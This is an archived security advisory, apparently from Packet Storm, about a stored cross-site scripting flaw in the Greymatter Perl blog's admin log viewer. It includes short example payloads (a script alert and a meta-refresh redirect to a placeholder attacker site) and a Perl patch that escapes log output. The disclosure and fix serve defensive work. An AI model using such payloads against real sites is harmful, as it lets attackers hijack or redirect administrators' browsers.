what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

greymatterXSS.txt

greymatterXSS.txt
Posted Sep 1, 2005
Site securityinfo.ru

The Greymatter web log is susceptible to cross site scripting attacks due to a lack of sanitizing user input variables.

tags | exploit, web, xss
SHA-256 | 9a6ac05247565679ec98478e7fec51b5f488f164937081e3e2464140497af458

greymatterXSS.txt

Change Mirror Download
Graymatter - perl based web blog.
offsite: http://www.greymatterforums.com/
GM analyze posting comments and if post contain some dangerous code (like
<script></script>), administrator get message about it in log files. Log
files contain not only message, but dangerous code.
When admin try to look log files (Admin panel Options: "View Control Panel
Log"), code execute in admin's browser.
Example attack:
Add comments:
Name: <script>alert('XSS')</script>
Comment:
<meta http-equiv="refresh" content="0;
url=http://site_with_danger_content.evil"/>

And admin can't enter in "View Control Panel Log" menu, because this page
is redirecting on attacker site.
Solution:
Edit gm-library.cgi. Like that:
-----------------------------------------------------------
open (FUNNYFEET, "gm-cplog.cgi");
@gmlogfile = <FUNNYFEET>;
close (FUNNYFEET);

foreach $gmlogfileline (@gmlogfile) {
chomp ($gmlogfileline);
$gmlogfileline=~s/<b>/#BOLD_OPEN#/ig;
$gmlogfileline=~s/<\/b>/#BOLD_CLOSED#/ig;
$gmlogfileline=~s/<font size="1">/#FONT_OPEN#/ig;
$gmlogfileline=~s/<\/font>/#FONT_CLOSED#/ig;
$gmlogfileline=~s/<|>|<|>/#/ig;
$gmlogfileline=~s/#BOLD_OPEN#/<b>/ig;
$gmlogfileline=~s/#BOLD_CLOSED#/<\/b>/iig;
$gmlogfileline=~s/#FONT_OPEN#/<font size="1">/g;
$gmlogfileline=~s/#FONT_CLOSED#/<\/font>/ig;
print "$gmlogfileline<BR>";
}
print qq(<font size="1">All danger tags replace with # symbol</font><BR>);
-------------------------------------------------------
Sory for my english, it's not my primary language.
---------------------------------------------------------
http://www.securityinfo.ru


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close